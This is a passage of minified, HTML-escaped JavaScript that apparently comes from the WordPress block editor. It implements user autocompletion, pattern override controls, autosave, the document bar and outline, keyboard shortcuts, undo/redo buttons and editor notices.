t=e.avatar_urls&amp;&amp;e.avatar_urls[24]?(0,c.jsx)(&quot;img&quot;,{className:&quot;editor-autocompleters__user-avatar&quot;,alt:&quot;&quot;,src:e.avatar_urls[24]}):(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__no-avatar&quot;});return(0,c.jsxs)(c.Fragment,{children:[t,(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-name&quot;,children:e.name}),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-autocompleters__user-slug&quot;,children:e.slug})]})}(0,h.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/editor/custom-sources-backwards-compatibility/shim-attribute-source&quot;,(function(e){const t=Object.fromEntries(Object.entries(e.attributes??{}).filter((([,{source:e}])=&gt;&quot;meta&quot;===e)).map((([e,{meta:t}])=&gt;[e,t])));return Object.entries(t).length&amp;&amp;(e.edit=(e=&gt;(0,m.createHigherOrderComponent)((t=&gt;({attributes:s,setAttributes:n,...o})=&gt;{const r=(0,d.useSelect)((e=&gt;e(vc).getCurrentPostType()),[]),[i,a]=(0,u.useEntityProp)(&quot;postType&quot;,r,&quot;meta&quot;),l=(0,p.useMemo)((()=&gt;({...s,...Object.fromEntries(Object.entries(e).map((([e,t])=&gt;[e,i[t]])))})),[s,i]);return(0,c.jsx)(t,{attributes:l,setAttributes:t=&gt;{const s=Object.fromEntries(Object.entries(t??{}).filter((([t])=&gt;t in e)).map((([t,s])=&gt;[e[t],s])));Object.entries(s).length&amp;&amp;a(s),n(t)},...o})}),&quot;withMetaAttributeSource&quot;))(t)(e.edit)),e}));var Sc={name:&quot;users&quot;,className:&quot;editor-autocompleters__user&quot;,triggerPrefix:&quot;@&quot;,useItems(e){const t=(0,d.useSelect)((t=&gt;{const{getUsers:s}=t(u.store);return s({context:&quot;view&quot;,search:encodeURIComponent(e)})}),[e]);return[(0,p.useMemo)((()=&gt;t?t.map((e=&gt;({key:`user-${e.slug}`,value:e,label:wc(e)}))):[]),[t])]},getOptionCompletion:e=&gt;`@${e.slug}`};(0,h.addFilter)(&quot;editor.Autocomplete.completers&quot;,&quot;editor/autocompleters/set-default-completers&quot;,(function(e=[]){return e.push({...Sc}),e})),(0,h.addFilter)(&quot;editor.MediaUpload&quot;,&quot;core/editor/components/media-upload&quot;,(()=&gt;lr.MediaUpload));const{PatternOverridesControls:kc,ResetOverridesControl:Cc,PatternOverridesBlockControls:Pc,PATTERN_TYPES:jc,PARTIAL_SYNCING_SUPPORTED_BLOCKS:Ec,PATTERN_SYNC_TYPES:Tc}=$(ao.privateApis),Ic=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const s=!!Ec[t.name];return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;s&amp;&amp;(0,c.jsx)(Bc,{...t}),s&amp;&amp;(0,c.jsx)(Pc,{})]})}),&quot;withPatternOverrideControls&quot;);function Bc(e){const t=(0,g.useBlockEditingMode)(),{hasPatternOverridesSource:s,isEditingSyncedPattern:n}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getEditedPostAttribute:s}=e(vc);return{hasPatternOverridesSource:!!(0,x.getBlockBindingsSource)(&quot;core/pattern-overrides&quot;),isEditingSyncedPattern:t()===jc.user&amp;&amp;s(&quot;meta&quot;)?.wp_pattern_sync_status!==Tc.unsynced&amp;&amp;s(&quot;wp_pattern_sync_status&quot;)!==Tc.unsynced}}),[]),o=e.attributes.metadata?.bindings,r=!!o&amp;&amp;Object.values(o).some((e=&gt;&quot;core/pattern-overrides&quot;===e.source)),i=n&amp;&amp;&quot;default&quot;===t,a=!n&amp;&amp;!!e.attributes.metadata?.name&amp;&amp;&quot;disabled&quot;!==t&amp;&amp;r;return s?(0,c.jsxs)(c.Fragment,{children:[i&amp;&amp;(0,c.jsx)(kc,{...e}),a&amp;&amp;(0,c.jsx)(Cc,{...e})]}):null}(0,h.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-pattern-override-controls&quot;,Ic);const Nc=[&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;];function Rc({attributes:e}){const{kind:t,id:s,type:n}=e,o=(0,g.useBlockEditingMode)(),r=(0,d.useSelect)((e=&gt;e(g.store).getSettings().onNavigateToEntityRecord),[]),i=(0,p.useCallback)((()=&gt;{&quot;post-type&quot;===t&amp;&amp;&quot;page&quot;===n&amp;&amp;s&amp;&amp;r&amp;&amp;r({postId:s,postType:n})}),[t,s,n,r]);return&quot;post-type&quot;===t&amp;&amp;&quot;page&quot;===n&amp;&amp;s&amp;&amp;r&amp;&amp;&quot;contentOnly&quot;===o?(0,c.jsx)(g.__unstableBlockToolbarLastItem,{children:(0,c.jsx)(Hn.ToolbarGroup,{children:(0,c.jsx)(Hn.ToolbarButton,{name:&quot;view&quot;,title:(0,fs.__)(&quot;View&quot;),onClick:i,children:(0,fs.__)(&quot;View&quot;)})})}):null}const Dc=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const s=Nc.includes(t.name);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;s&amp;&amp;(0,c.jsx)(Rc,{...t})]})}),&quot;withNavigationViewButton&quot;);(0,h.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-navigation-view-button&quot;,Dc);function Ac({clientId:e}){const{selectBlock:t,flashBlock:s}=(0,d.useDispatch)(g.store),{enableComplementaryArea:n}=(0,d.useDispatch)(ja),{hasNavigationBlocks:o,firstNavigationBlockId:r,isNavigationEditable:i}=(0,d.useSelect)((t=&gt;{const{getClientIdsOfDescendants:s,getBlockName:n,getBlockEditingMode:o}=t(g.store),r=s(e).filter((e=&gt;&quot;core/navigation&quot;===n(e))),i=r.length&gt;0,a=i?r[0]:null;return{hasNavigationBlocks:i,firstNavigationBlockId:a,isNavigationEditable:&quot;disabled&quot;!==o(a)}}),[e]),a=(0,p.useCallback)((()=&gt;{r&amp;&amp;(t(r),s(r,500),n(&quot;core&quot;,&quot;edit-post/block&quot;))}),[r,t,s,n]);return o&amp;&amp;i?(0,c.jsx)(g.__unstableBlockToolbarLastItem,{children:(0,c.jsx)(Hn.ToolbarGroup,{children:(0,c.jsx)(Hn.ToolbarButton,{label:(0,fs.__)(&quot;Edit navigation&quot;),onClick:a,children:(0,fs.__)(&quot;Edit navigation&quot;)})})}):null}const Mc=(0,m.createHigherOrderComponent)((e=&gt;t=&gt;{const s=&quot;core/template-part&quot;===t.name;return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(e,{...t},&quot;edit&quot;),t.isSelected&amp;&amp;s&amp;&amp;(0,c.jsx)(Ac,{clientId:t.clientId})]})}),&quot;withTemplatePartNavigationEditButton&quot;);(0,h.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/with-template-part-navigation-edit-button&quot;,Mc);class Lc extends p.Component{constructor(e){super(e),this.needsAutosave=!(!e.isDirty||!e.isAutosaveable)}componentDidMount(){this.props.disableIntervalChecks||this.setAutosaveTimer()}componentDidUpdate(e){this.props.disableIntervalChecks?this.props.editsReference!==e.editsReference&amp;&amp;this.props.autosave():(this.props.interval!==e.interval&amp;&amp;(clearTimeout(this.timerId),this.setAutosaveTimer()),this.props.isDirty&amp;&amp;(!this.props.isAutosaving||e.isAutosaving)?this.props.editsReference!==e.editsReference&amp;&amp;(this.needsAutosave=!0):this.needsAutosave=!1)}componentWillUnmount(){clearTimeout(this.timerId)}setAutosaveTimer(e=1e3*this.props.interval){this.timerId=setTimeout((()=&gt;{this.autosaveTimerHandler()}),e)}autosaveTimerHandler(){this.props.isAutosaveable?(this.needsAutosave&amp;&amp;(this.needsAutosave=!1,this.props.autosave()),this.setAutosaveTimer()):this.setAutosaveTimer(1e3)}render(){return null}}var Oc=(0,m.compose)([(0,d.withSelect)(((e,t)=&gt;{const{getReferenceByDistinctEdits:s}=e(u.store),{isEditedPostDirty:n,isEditedPostAutosaveable:o,isAutosavingPost:r,getEditorSettings:i}=e(vc),{interval:a=i().autosaveInterval}=t;return{editsReference:s(),isDirty:n(),isAutosaveable:o(),isAutosaving:r(),interval:a}})),(0,d.withDispatch)(((e,t)=&gt;({autosave(){const{autosave:s=e(vc).autosave}=t;s()}})))])(Lc),Fc=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z&quot;})}),Vc=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z&quot;})});const Uc=window.wp.dom;function Hc(e){const{isFrontPage:t,isPostsPage:s}=(0,d.useSelect)((t=&gt;{const{canUser:s,getEditedEntityRecord:n}=t(u.store),o=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?n(&quot;root&quot;,&quot;site&quot;):void 0,r=parseInt(e,10);return{isFrontPage:o?.page_on_front===r,isPostsPage:o?.page_for_posts===r}}));return t?(0,fs.__)(&quot;Homepage&quot;):!!s&amp;&amp;(0,fs.__)(&quot;Posts Page&quot;)}const zc=Hn.__unstableMotion.create(Hn.Button);function Gc(e){const{postId:t,postType:s,postTypeLabel:n,documentTitle:o,isNotFound:r,templateTitle:i,onNavigateToPreviousEntityRecord:a,isTemplatePreview:l}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s,getEditorSettings:n,getRenderingMode:o}=e(vc),{getEditedEntityRecord:r,getPostType:i,getCurrentTheme:a,isResolving:l}=e(u.store),c=t(),d=s(),p=r(&quot;postType&quot;,c,d),{default_template_types:m=[]}=a()??{},h=Y({templateTypes:m,template:p}),g=i(c)?.labels?.singular_name;return{postId:d,postType:c,postTypeLabel:g,documentTitle:p.title,isNotFound:!p&amp;&amp;!l(&quot;getEditedEntityRecord&quot;,&quot;postType&quot;,c,d),templateTitle:h.title,onNavigateToPreviousEntityRecord:n().onNavigateToPreviousEntityRecord,isTemplatePreview:&quot;template-locked&quot;===o()}}),[]),{open:h}=(0,d.useDispatch)(na.store),_=(0,m.useReducedMotion)(),f=A.includes(s),b=!!a,y=f?i:o,x=e.title||y,v=e.icon,w=Hc(t),S=(0,p.useRef)(!1);return(0,p.useEffect)((()=&gt;{S.current=!0}),[]),(0,c.jsxs)(&quot;div&quot;,{className:mr(&quot;editor-document-bar&quot;,{&quot;has-back-button&quot;:b}),children:[(0,c.jsx)(Hn.__unstableAnimatePresence,{children:b&amp;&amp;(0,c.jsx)(zc,{className:&quot;editor-document-bar__back&quot;,icon:(0,fs.isRTL)()?Fc:Vc,onClick:e=&gt;{e.stopPropagation(),a()},size:&quot;compact&quot;,initial:!!S.current&amp;&amp;{opacity:0,transform:&quot;translateX(15%)&quot;},animate:{opacity:1,transform:&quot;translateX(0%)&quot;},exit:{opacity:0,transform:&quot;translateX(15%)&quot;},transition:_?{duration:0}:void 0,children:(0,fs.__)(&quot;Back&quot;)})}),!f&amp;&amp;l&amp;&amp;!b&amp;&amp;(0,c.jsx)(g.BlockIcon,{icon:W,className:&quot;editor-document-bar__icon-layout&quot;}),r?(0,c.jsx)(Hn.__experimentalText,{children:(0,fs.__)(&quot;Document not found&quot;)}):(0,c.jsxs)(Hn.Button,{className:&quot;editor-document-bar__command&quot;,onClick:()=&gt;h(),size:&quot;compact&quot;,children:[(0,c.jsxs)(Hn.__unstableMotion.div,{className:&quot;editor-document-bar__title&quot;,initial:!!S.current&amp;&amp;{opacity:0,transform:b?&quot;translateX(15%)&quot;:&quot;translateX(-15%)&quot;},animate:{opacity:1,transform:&quot;translateX(0%)&quot;},transition:_?{duration:0}:void 0,children:[v&amp;&amp;(0,c.jsx)(g.BlockIcon,{icon:v}),(0,c.jsxs)(Hn.__experimentalText,{size:&quot;body&quot;,as:&quot;h1&quot;,children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-title&quot;,children:x?(0,Uc.__unstableStripHTML)(x):(0,fs.__)(&quot;No title&quot;)}),w&amp;&amp;(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`· ${w}`}),n&amp;&amp;!e.title&amp;&amp;!w&amp;&amp;(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__post-type-label&quot;,children:`· ${(0,Ln.decodeEntities)(n)}`})]})]},b),(0,c.jsx)(&quot;span&quot;,{className:&quot;editor-document-bar__shortcut&quot;,children:ll.displayShortcut.primary(&quot;k&quot;)})]})]})}const $c=window.wp.richText;var Wc=({children:e,isValid:t,isDisabled:s,level:n,href:o,onSelect:r})=&gt;(0,c.jsx)(&quot;li&quot;,{className:mr(&quot;document-outline__item&quot;,`is-${n.toLowerCase()}`,{&quot;is-invalid&quot;:!t,&quot;is-disabled&quot;:s}),children:(0,c.jsxs)(&quot;a&quot;,{href:o,className:&quot;document-outline__button&quot;,&quot;aria-disabled&quot;:s,onClick:function(e){s?e.preventDefault():r()},children:[(0,c.jsx)(&quot;span&quot;,{className:&quot;document-outline__emdash&quot;,&quot;aria-hidden&quot;:&quot;true&quot;}),(0,c.jsx)(&quot;strong&quot;,{className:&quot;document-outline__level&quot;,children:n}),(0,c.jsx)(&quot;span&quot;,{className:&quot;document-outline__item-content&quot;,children:e})]})});const Zc=(0,c.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Empty heading)&quot;)}),Yc=[(0,c.jsx)(&quot;br&quot;,{},&quot;incorrect-break&quot;),(0,c.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Incorrect heading level)&quot;)},&quot;incorrect-message&quot;)],qc=[(0,c.jsx)(&quot;br&quot;,{},&quot;incorrect-break-h1&quot;),(0,c.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Your theme may already use a H1 for the post title)&quot;)},&quot;incorrect-message-h1&quot;)],Kc=[(0,c.jsx)(&quot;br&quot;,{},&quot;incorrect-break-multiple-h1&quot;),(0,c.jsx)(&quot;em&quot;,{children:(0,fs.__)(&quot;(Multiple H1 headings are not recommended)&quot;)},&quot;incorrect-message-multiple-h1&quot;)];function Qc(){return(0,c.jsxs)(Hn.SVG,{width:&quot;138&quot;,height:&quot;148&quot;,viewBox:&quot;0 0 138 148&quot;,fill:&quot;none&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,c.jsx)(Hn.Rect,{width:&quot;138&quot;,height:&quot;148&quot;,rx:&quot;4&quot;,fill:&quot;#F0F6FC&quot;}),(0,c.jsx)(Hn.Line,{x1:&quot;44&quot;,y1:&quot;28&quot;,x2:&quot;24&quot;,y2:&quot;28&quot;,stroke:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Rect,{x:&quot;48&quot;,y:&quot;16&quot;,width:&quot;27&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Path,{d:&quot;M54.7585 32V23.2727H56.6037V26.8736H60.3494V23.2727H62.1903V32H60.3494V28.3949H56.6037V32H54.7585ZM67.4574 23.2727V32H65.6122V25.0241H65.5611L63.5625 26.277V24.6406L65.723 23.2727H67.4574Z&quot;,fill:&quot;black&quot;}),(0,c.jsx)(Hn.Line,{x1:&quot;55&quot;,y1:&quot;59&quot;,x2:&quot;24&quot;,y2:&quot;59&quot;,stroke:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Rect,{x:&quot;59&quot;,y:&quot;47&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Path,{d:&quot;M65.7585 63V54.2727H67.6037V57.8736H71.3494V54.2727H73.1903V63H71.3494V59.3949H67.6037V63H65.7585ZM74.6605 63V61.6705L77.767 58.794C78.0313 58.5384 78.2528 58.3082 78.4318 58.1037C78.6136 57.8991 78.7514 57.6989 78.8452 57.5028C78.9389 57.304 78.9858 57.0895 78.9858 56.8594C78.9858 56.6037 78.9276 56.3835 78.8111 56.1989C78.6946 56.0114 78.5355 55.8679 78.3338 55.7685C78.1321 55.6662 77.9034 55.6151 77.6477 55.6151C77.3807 55.6151 77.1477 55.669 76.9489 55.777C76.75 55.8849 76.5966 56.0398 76.4886 56.2415C76.3807 56.4432 76.3267 56.6832 76.3267 56.9616H74.5753C74.5753 56.3906 74.7045 55.8949 74.9631 55.4744C75.2216 55.054 75.5838 54.7287 76.0497 54.4986C76.5156 54.2685 77.0526 54.1534 77.6605 54.1534C78.2855 54.1534 78.8295 54.2642 79.2926 54.4858C79.7585 54.7045 80.1207 55.0085 80.3793 55.3977C80.6378 55.7869 80.767 56.233 80.767 56.7358C80.767 57.0653 80.7017 57.3906 80.571 57.7116C80.4432 58.0327 80.2145 58.3892 79.8849 58.7812C79.5554 59.1705 79.0909 59.6378 78.4915 60.1832L77.2173 61.4318V61.4915H80.8821V63H74.6605Z&quot;,fill:&quot;black&quot;}),(0,c.jsx)(Hn.Line,{x1:&quot;80&quot;,y1:&quot;90&quot;,x2:&quot;24&quot;,y2:&quot;90&quot;,stroke:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Rect,{x:&quot;84&quot;,y:&quot;78&quot;,width:&quot;30&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#F0B849&quot;}),(0,c.jsx)(Hn.Path,{d:&quot;M90.7585 94V85.2727H92.6037V88.8736H96.3494V85.2727H98.1903V94H96.3494V90.3949H92.6037V94H90.7585ZM99.5284 92.4659V91.0128L103.172 85.2727H104.425V87.2841H103.683L101.386 90.919V90.9872H106.564V92.4659H99.5284ZM103.717 94V92.0227L103.751 91.3793V85.2727H105.482V94H103.717Z&quot;,fill:&quot;black&quot;}),(0,c.jsx)(Hn.Line,{x1:&quot;66&quot;,y1:&quot;121&quot;,x2:&quot;24&quot;,y2:&quot;121&quot;,stroke:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Rect,{x:&quot;70&quot;,y:&quot;109&quot;,width:&quot;29&quot;,height:&quot;23&quot;,rx:&quot;4&quot;,fill:&quot;#DDDDDD&quot;}),(0,c.jsx)(Hn.Path,{d:&quot;M76.7585 125V116.273H78.6037V119.874H82.3494V116.273H84.1903V125H82.3494V121.395H78.6037V125H76.7585ZM88.8864 125.119C88.25 125.119 87.6832 125.01 87.1861 124.791C86.6918 124.57 86.3011 124.266 86.0142 123.879C85.7301 123.49 85.5838 123.041 85.5753 122.533H87.4332C87.4446 122.746 87.5142 122.933 87.642 123.095C87.7727 123.254 87.946 123.378 88.1619 123.466C88.3778 123.554 88.6207 123.598 88.8906 123.598C89.1719 123.598 89.4205 123.548 89.6364 123.449C89.8523 123.349 90.0213 123.212 90.1435 123.036C90.2656 122.859 90.3267 122.656 90.3267 122.426C90.3267 122.193 90.2614 121.987 90.1307 121.808C90.0028 121.626 89.8182 121.484 89.5767 121.382C89.3381 121.28 89.054 121.229 88.7244 121.229H87.9105V119.874H88.7244C89.0028 119.874 89.2486 119.825 89.4616 119.729C89.6776 119.632 89.8452 119.499 89.9645 119.328C90.0838 119.155 90.1435 118.953 90.1435 118.723C90.1435 118.504 90.0909 118.312 89.9858 118.148C89.8835 117.98 89.7386 117.849 89.5511 117.756C89.3665 117.662 89.1506 117.615 88.9034 117.615C88.6534 117.615 88.4247 117.661 88.2173 117.751C88.0099 117.839 87.8438 117.966 87.7188 118.131C87.5938 118.295 87.527 118.489 87.5185 118.71H85.75C85.7585 118.207 85.902 117.764 86.1804 117.381C86.4588 116.997 86.8338 116.697 87.3054 116.482C87.7798 116.263 88.3153 116.153 88.9119 116.153C89.5142 116.153 90.0412 116.263 90.4929 116.482C90.9446 116.7 91.2955 116.996 91.5455 117.368C91.7983 117.737 91.9233 118.152 91.9205 118.612C91.9233 119.101 91.7713 119.509 91.4645 119.835C91.1605 120.162 90.7642 120.369 90.2756 120.457V120.526C90.9176 120.608 91.4063 120.831 91.7415 121.195C92.0795 121.555 92.2472 122.007 92.2443 122.55C92.2472 123.047 92.1037 123.489 91.8139 123.875C91.527 124.261 91.1307 124.565 90.625 124.787C90.1193 125.009 89.5398 125.119 88.8864 125.119Z&quot;,fill:&quot;black&quot;})]})}const Xc=(e=[])=&gt;e.filter((e=&gt;&quot;core/heading&quot;===e.name)).map((e=&gt;({...e,level:e.attributes.level,isEmpty:Jc(e)}))),Jc=e=&gt;!e.attributes.content||0===e.attributes.content.trim().length;function ed({onSelect:e,hasOutlineItemsDisabled:t}){const{selectBlock:s}=(0,d.useDispatch)(g.store),{title:n,isTitleSupported:o}=(0,d.useSelect)((e=&gt;{const{getEditedPostAttribute:t}=e(vc),{getPostType:s}=e(u.store),n=s(t(&quot;type&quot;));return{title:t(&quot;title&quot;),isTitleSupported:n?.supports?.title??!1}})),r=(0,d.useSelect)((e=&gt;{const{getClientIdsWithDescendants:t,getBlock:s}=e(g.store);return t().map((e=&gt;s(e)))})),i=(0,d.useSelect)((e=&gt;{if(&quot;post-only&quot;===e(vc).getRenderingMode())return;const{getBlocksByName:t,getClientIdsOfDescendants:s}=e(g.store),[n]=t(&quot;core/post-content&quot;);return n?s(n):void 0}),[]),a=(0,p.useRef)(1),l=(0,p.useMemo)((()=&gt;Xc(r)),[r]);if(l.length&lt;1)return(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-document-outline has-no-headings&quot;,children:[(0,c.jsx)(Qc,{}),(0,c.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Navigate the structure of your document and address issues like empty or incorrect heading levels.&quot;)})]});const m=document.querySelector(&quot;.editor-post-title__input&quot;),h=o&amp;&amp;n&amp;&amp;m,_=l.reduce(((e,t)=&gt;({...e,[t.level]:(e[t.level]||0)+1})),{})[1]&gt;1;return(0,c.jsx)(&quot;div&quot;,{className:&quot;document-outline&quot;,children:(0,c.jsxs)(&quot;ul&quot;,{children:[h&amp;&amp;(0,c.jsx)(Wc,{level:(0,fs.__)(&quot;Title&quot;),isValid:!0,onSelect:e,href:`#${m.id}`,isDisabled:t,children:n}),l.map((n=&gt;{const o=n.level&gt;a.current+1,r=!(n.isEmpty||o||!n.level||1===n.level&amp;&amp;(_||h));return a.current=n.level,(0,c.jsxs)(Wc,{level:`H${n.level}`,isValid:r,isDisabled:t||(l=n.clientId,!(!Array.isArray(i)||i.includes(l))),href:`#block-${n.clientId}`,onSelect:()=&gt;{s(n.clientId),e?.()},children:[n.isEmpty?Zc:(0,$c.getTextContent)((0,$c.create)({html:n.attributes.content})),o&amp;&amp;Yc,1===n.level&amp;&amp;_&amp;&amp;Kc,h&amp;&amp;1===n.level&amp;&amp;!_&amp;&amp;qc]},n.clientId);var l}))]})})}function td({children:e}){const t=(0,d.useSelect)((e=&gt;{const{getGlobalBlockCount:t}=e(g.store);return t(&quot;core/heading&quot;)&gt;0}));return t?e:null}var sd=function(){const{registerShortcut:e}=(0,d.useDispatch)(il.store);return(0,p.useEffect)((()=&gt;{e({name:&quot;core/editor/toggle-mode&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Switch between visual editor and code editor.&quot;),keyCombination:{modifier:&quot;secondary&quot;,character:&quot;m&quot;}}),e({name:&quot;core/editor/save&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Save your changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;s&quot;}}),e({name:&quot;core/editor/undo&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Undo your last changes.&quot;),keyCombination:{modifier:&quot;primary&quot;,character:&quot;z&quot;}}),e({name:&quot;core/editor/redo&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Redo your last undo.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;z&quot;},aliases:(0,ll.isAppleOS)()?[]:[{modifier:&quot;primary&quot;,character:&quot;y&quot;}]}),e({name:&quot;core/editor/toggle-list-view&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Show or hide the List View.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;o&quot;}}),e({name:&quot;core/editor/toggle-distraction-free&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Enter or exit distraction free mode.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;\\&quot;}}),e({name:&quot;core/editor/toggle-sidebar&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Show or hide the Settings panel.&quot;),keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;,&quot;}}),e({name:&quot;core/editor/keyboard-shortcuts&quot;,category:&quot;main&quot;,description:(0,fs.__)(&quot;Display these keyboard shortcuts.&quot;),keyCombination:{modifier:&quot;access&quot;,character:&quot;h&quot;}}),e({name:&quot;core/editor/next-region&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Navigate to the next part of the editor.&quot;),keyCombination:{modifier:&quot;ctrl&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;n&quot;}]}),e({name:&quot;core/editor/previous-region&quot;,category:&quot;global&quot;,description:(0,fs.__)(&quot;Navigate to the previous part of the editor.&quot;),keyCombination:{modifier:&quot;ctrlShift&quot;,character:&quot;`&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;p&quot;},{modifier:&quot;ctrlShift&quot;,character:&quot;~&quot;}]})}),[e]),(0,c.jsx)(g.BlockEditorKeyboardShortcuts.Register,{})},nd=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M15.6 6.5l-1.1 1 2.9 3.3H8c-.9 0-1.7.3-2.3.9-1.4 1.5-1.4 4.2-1.4 5.6v.2h1.5v-.3c0-1.1 0-3.5 1-4.5.3-.3.7-.5 1.3-.5h9.2L14.5 15l1.1 1.1 4.6-4.6-4.6-5z&quot;})}),od=(0,c.jsx)(L.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,c.jsx)(L.Path,{d:&quot;M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z&quot;})});var rd=(0,p.forwardRef)((function(e,t){const s=(0,ll.isAppleOS)()?ll.displayShortcut.primaryShift(&quot;z&quot;):ll.displayShortcut.primary(&quot;y&quot;),n=(0,d.useSelect)((e=&gt;e(vc).hasEditorRedo()),[]),{redo:o}=(0,d.useDispatch)(vc);return(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?od:nd,label:(0,fs.__)(&quot;Redo&quot;),shortcut:s,&quot;aria-disabled&quot;:!n,onClick:n?o:void 0,className:&quot;editor-history__redo&quot;})}));var id=(0,p.forwardRef)((function(e,t){const s=(0,d.useSelect)((e=&gt;e(vc).hasEditorUndo()),[]),{undo:n}=(0,d.useDispatch)(vc);return(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,...e,ref:t,icon:(0,fs.isRTL)()?nd:od,label:(0,fs.__)(&quot;Undo&quot;),shortcut:ll.displayShortcut.primary(&quot;z&quot;),&quot;aria-disabled&quot;:!s,onClick:s?n:void 0,className:&quot;editor-history__undo&quot;})}));function ad(){const[e,t]=(0,p.useState)(!1),s=(0,d.useSelect)((e=&gt;e(g.store).isValidTemplate()),[]),{setTemplateValidity:n,synchronizeTemplate:o}=(0,d.useDispatch)(g.store);return s?null:(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.Notice,{className:&quot;editor-template-validation-notice&quot;,isDismissible:!1,status:&quot;warning&quot;,actions:[{label:(0,fs.__)(&quot;Keep it as is&quot;),onClick:()=&gt;n(!0)},{label:(0,fs.__)(&quot;Reset the template&quot;),onClick:()=&gt;t(!0)}],children:(0,fs.__)(&quot;The content of your post doesn’t match the template assigned to your post type.&quot;)}),(0,c.jsx)(Hn.__experimentalConfirmDialog,{isOpen:e,confirmButtonText:(0,fs.__)(&quot;Reset&quot;),onConfirm:()=&gt;{t(!1),o()},onCancel:()=&gt;t(!1),size:&quot;medium&quot;,children:(0,fs.__)(&quot;Resetting the template may result in loss of content, do you want to continue?&quot;)})]})}var ld=function(){const{notices:e}=(0,d.useSelect)((e=&gt;({notices:e(_s.store).getNotices()})),[]),{removeNotice:t}=(0,d.useDispatch)(_s.store),s=e.filter((({isDismissible:e,type:t})=&gt;e&amp;&amp;&quot;default&quot;===t)),n=e.filter((({isDismissible:e,type:t})=&gt;!e&amp;&amp;&quot;default&quot;===t));return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.NoticeList,{notices:n,className:&quot;components-editor-notices__pinned&quot;}),(0,c.jsx)(Hn.NoticeList,{notices:s,className:&quot;components-editor-notices__dismissible&quot;,onRemove:t,children:(0,c.jsx)(ad,{})})]})};const cd=-3;function dd(){const e=(0,d.useSelect)((e=&gt;e(_s.store).getNotices()),[]),{removeNotice:t}=(0,d.useDispatch)(_s.store),s=e.filter((({type:e})=&gt;&quot;snackbar&quot;===e)).slice(cd);return(0,c.jsx)(Hn.SnackbarList,{notices:s,className:&quot;components-editor-notices__snackbar&quot;,onRemove:t})}function 